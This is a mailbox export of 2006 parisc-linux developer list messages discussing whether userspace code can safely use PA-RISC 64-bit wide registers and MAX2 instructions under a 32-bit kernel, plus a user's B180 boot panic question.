List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZslXdeBBIyd18PqQe2dr/t9aa2FkZtVL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23674

Hi pa,

I've been writing a few optimized asm bits for ffmpeg, using MAX2
insns and taking advantage of the fact that pa2.0 implements 64bit
wide registers.

NOTE: i'm not using a 64bit address space at all. I'm just taking
advantage of the fact that GRs can hold 64bit, as per architecture
design. MAX2 insns need the full 64bit width, for instance.

Yet, Randolph pointed out that it's likely that upon context switch,
the upper 32bit of the registers i'm using would be thrown away.

Two options from there:
1) we claim what I'm trying to do should not be done on parisc-linux
=3D> using ldd/std, MAX2 and other insns that rely on 64bit regs should
be prohibited by binutils for non-wide code (currently gcc/binutils
happily build my code with -mpa-risc-2-0, which generates level 2.0
non wide code)

2) we claim what I'm trying to do should be possible on parisc-linux
=3D> we need to fix context switching in 32bit kernels.

Comments?

T-Bone

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [RFC] using 64bit wide registers with 32bit
	kernel
Date: Sat, 13 May 2006 18:33:15 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <7d01f9f00605130933w3f83d4dcrbb2e96fd35031c68@mail.gmail.com>
References: <7d01f9f00605130841v6185b06dybae82c9f9c77e2b4@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624086 19579 80.91.229.3 (22 Nov 2014 02:41:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 May 2006 16:33:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 13 May 2006 18:33:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 375677D6E6;
	Sat, 13 May 2006 10:33:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27827-10; Sat, 13 May 2006 10:33:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE92C7D6E7;
	Sat, 13 May 2006 10:33:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E98117D6E2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 10:33:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27827-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 10:33:16 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.196])
	by free.linux.hp.com (Postfix) with ESMTP id F35697D6E0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 10:33:15 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id i1so706798nzh
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 09:33:15 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=Zvz9c04Oe05bUho83arzIIje/KggbhqAyyVp7M6V8PT5pcCo8oqzINcIJowpLsh4sFjnOA2X9scSq0R5L5zIsA3hDmB1OEgi9ADsRJujgr2JCz+7HALOffjbRk2z6Fys7okaL67kvuG8miDM0eNPvQK6kL4SjvBIU7TPHueDdrk=
Original-Received: by 10.36.19.18 with SMTP id 18mr1172923nzs;
	Sat, 13 May 2006 09:33:15 -0700 (PDT)
Original-Received: by 10.36.247.36 with HTTP; Sat, 13 May 2006 09:33:15 -0700 (PDT)
In-Reply-To: <7d01f9f00605130841v6185b06dybae82c9f9c77e2b4@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: 17be09d159e9d6b7
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OmcEEJ8YbXBtrLqHPTQ2suIqLyUmZcgO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23675

On 5/13/06, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> Hi pa,
>
> I've been writing a few optimized asm bits for ffmpeg, using MAX2
> insns and taking advantage of the fact that pa2.0 implements 64bit
> wide registers.
>
> NOTE: i'm not using a 64bit address space at all. I'm just taking
> advantage of the fact that GRs can hold 64bit, as per architecture
> design. MAX2 insns need the full 64bit width, for instance.
>
> Yet, Randolph pointed out that it's likely that upon context switch,
> the upper 32bit of the registers i'm using would be thrown away.
>
> Two options from there:
> 1) we claim what I'm trying to do should not be done on parisc-linux
> =3D> using ldd/std, MAX2 and other insns that rely on 64bit regs should
> be prohibited by binutils for non-wide code (currently gcc/binutils
> happily build my code with -mpa-risc-2-0, which generates level 2.0
> non wide code)

I take that back as I can see a reason to use them in userspace when
running a 64bit kernel, even though the generated code wouldn't work
with a 32bit kernel.
Yet, not being to use them (in particular MAX2) with a 32bit kernel on
pa2.0 cpus is quite sad, as we encourage our users to run 32bit
kernels on pa2.0 machines that can...

> 2) we claim what I'm trying to do should be possible on parisc-linux
> =3D> we need to fix context switching in 32bit kernels.
>
> Comments?

T-Bone
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] using 64bit wide registers with 32bit kernel
Date: Sat, 13 May 2006 12:03:07 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <1147539787.6632.7.camel@mulgrave.il.steeleye.com>
References: <7d01f9f00605130841v6185b06dybae82c9f9c77e2b4@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624086 19580 80.91.229.3 (22 Nov 2014 02:41:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 May 2006 17:03:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 13 May 2006 19:03:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 740B47D69E;
	Sat, 13 May 2006 11:03:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28191-07; Sat, 13 May 2006 11:03:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 37A8C7D69F;
	Sat, 13 May 2006 11:03:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC5987D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 11:03:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28132-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 11:03:09 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id B0F637D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 11:03:09 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k4DH37a29777; Sat, 13 May 2006 13:03:07 -0400
In-Reply-To: <7d01f9f00605130841v6185b06dybae82c9f9c77e2b4@mail.gmail.com>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: C2UDNLBZZCEXvbGPamwhc4RwIGhpZYa5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23676

On Sat, 2006-05-13 at 17:41 +0200, Thibaut VARENE wrote:
> 1) we claim what I'm trying to do should not be done on parisc-linux
> => using ldd/std, MAX2 and other insns that rely on 64bit regs should
> be prohibited by binutils for non-wide code (currently gcc/binutils
> happily build my code with -mpa-risc-2-0, which generates level 2.0
> non wide code)

I really don't think doubling the size of our register file on all tasks
and doubling the size of the saved registers on stack for interruptions
is really a sensible thing to do just so some multi-media extension can
be made to work.

> 2) we claim what I'm trying to do should be possible on parisc-linux
> => we need to fix context switching in 32bit kernels.
> 
> Comments?

There is a third possibility, and that's to execute the instruction in
the kernel where there wouldn't be a danger of context switches, where
the return values could be packaged properly and where it could be
emulated if necessary.  It would be nice to use a vDSO for this, but I
suspect Carlos' lightweight semaphore infrastructure can be pressed into
service for this.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] using 64bit wide registers with 32bit kernel
Date: Sat, 13 May 2006 13:07:06 -0400 (EDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <200605131707.k4DH765S029172@hiauly1.hia.nrc.ca>
References: <7d01f9f00605130841v6185b06dybae82c9f9c77e2b4@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624086 19585 80.91.229.3 (22 Nov 2014 02:41:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: T-Bone@parisc-linux.org (Thibaut VARENE)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 May 2006 17:07:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 13 May 2006 19:07:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 415467D6F3;
	Sat, 13 May 2006 11:07:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28545-03; Sat, 13 May 2006 11:07:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC95C7D6F4;
	Sat, 13 May 2006 11:07:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C99D7D6BD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 11:07:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28191-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 11:07:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5196A7D6B9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 11:07:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k4DH77KZ029174;
	Sat, 13 May 2006 13:07:07 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k4DH765S029172;
	Sat, 13 May 2006 13:07:06 -0400 (EDT)
In-Reply-To: <7d01f9f00605130841v6185b06dybae82c9f9c77e2b4@mail.gmail.com>
	from "Thibaut VARENE" at May 13, 2006 05:41:53 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EVYsA5xfa2A7ubvDOHQyYNMyOWhhake1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23677

> Two options from there:
> 1) we claim what I'm trying to do should not be done on parisc-linux
> => using ldd/std, MAX2 and other insns that rely on 64bit regs should
> be prohibited by binutils for non-wide code (currently gcc/binutils
> happily build my code with -mpa-risc-2-0, which generates level 2.0
> non wide code)

Well, hpux supports using 64-bit registers in non-wide code, so
I don't particularly like the idea that code generation changes
between linux and hpux.  64-bit registers are a PA 2.0 feature
and their use is independent of whether or not the processor is
in wide mode.

> 2) we claim what I'm trying to do should be possible on parisc-linux
> => we need to fix context switching in 32bit kernels.

I believe that's the correct approach.  The context state needs to
be updated for 64-bit userspace anyway.  HP-UX has some horrible
macros like GetSSReg for accessing register values in context data
(see pa/save_state.h).

config.guess for the distinguishes narrow and wide hpux kernels
(hppa2.0, hppa2.0n and hppa2.0w).  The hppa2.0 and hppa2.0n kernels
are narrow and don't support 64-bit context information.  As far
as I know, wide kernels support 64-bit context information for
the 32-bit runtime.

The GMP library is one bit of code that attempts to make use of this
capability.  It's a problem for GCC as there's no way to describe that
a register is partially call clobbered.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herb Radford <herbr@magma.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B180 boot problem
Date: Sat, 13 May 2006 15:21:17 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <7.0.1.0.1.20060513143945.01f61810@magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed;
  x-avg-checked=avg-ok-4F3E348F
X-Trace: ger.gmane.org 1416624087 19588 80.91.229.3 (22 Nov 2014 02:41:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 May 2006 19:21:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 13 May 2006 21:21:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 419497D6E7;
	Sat, 13 May 2006 13:21:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29184-06; Sat, 13 May 2006 13:21:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26F2F7D6CF;
	Sat, 13 May 2006 13:21:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C4A67D654
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 13:21:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29184-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 13:21:12 -0600 (MDT)
Original-Received: from mx1.magma.ca (mx1-1.spamtrap.magma.ca [209.217.78.152])
	by free.linux.hp.com (Postfix) with ESMTP id 36FA87D64D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 13:21:12 -0600 (MDT)
Original-Received: from mail2.magma.ca (mail2.internal.magma.ca [10.0.10.12])
	by mx1.magma.ca (8.13.1/8.13.1) with ESMTP id k4DJL7jq027098
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 15:21:09 -0400
Original-Received: from a7n8x-deluxe.magma.ca (i216-58-63-110.cybersurf.com
	[216.58.63.110]) (authenticated bits=0)
	by mail2.magma.ca (Magma's Mail Server) with ESMTP id k4DJL3X3024389
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 15:21:07 -0400
X-Mailer: QUALCOMM Windows Eudora Version 7.0.1.0
X-magma-MailScanner-Information: Magma Mailscanner Service
X-magma-MailScanner: Clean
X-Spam-Status: not spam, SpamAssassin (score=-1.44, required 9,
	autolearn=not spam, ALL_TRUSTED)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0lgTd+ENODBpsLWUfGRMs2Q1Ji9SWtJZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23678

I have a B180 machine which was loaded with a version of linux back in 1993.
I'm trying to start fresh and tried to boot the 3.1r2 cd 
"debian-hppa-binary-1.iso" to install.
I consistently get a mangled message just above the tux on the boot 
screen which says something to the effect:

Kernel panic: Kernel Fault4/0xb0cr31:10....., IRQ sharing enabled

I have tried various burns at various speed of the same cd with the 
same results.
I have interacted with the IPL and tried setting some variations on a 
"sensible" set of parameters to pass to the kernel.
When I clear ALL the entries to be passed to the kernel, I get an 
unable to mount root message so I started adding some root and initrd 
items to the parameters.
I just can't find the correct parameters to allow the box to boot!

What is/are the correct set of parameters to be passed to the kernel?

Regards, Herb


-- 
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.1.392 / Virus Database: 268.5.6/338 - Release Date: 12/05/2006


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] using 64bit wide registers with 32bit kernel
Date: Sat, 13 May 2006 23:06:59 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <4466BAF3.8060608@fc.hp.com>
References: <200605132335.k4DNZmAY002050@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624087 19590 80.91.229.3 (22 Nov 2014 02:41:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 May 2006 05:07:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 14 May 2006 07:07:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C6BE7D6ED;
	Sat, 13 May 2006 23:07:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32577-09; Sat, 13 May 2006 23:07:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BDC047D6EE;
	Sat, 13 May 2006 23:07:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E95D7D6EC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 23:07:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32577-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 23:07:07 -0600 (MDT)
Original-Received: from ccerelrim04.cce.hp.com (smtp.cce.hp.com [161.114.21.25])
	by free.linux.hp.com (Postfix) with ESMTP id 3A4C47D6E3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 23:07:07 -0600 (MDT)
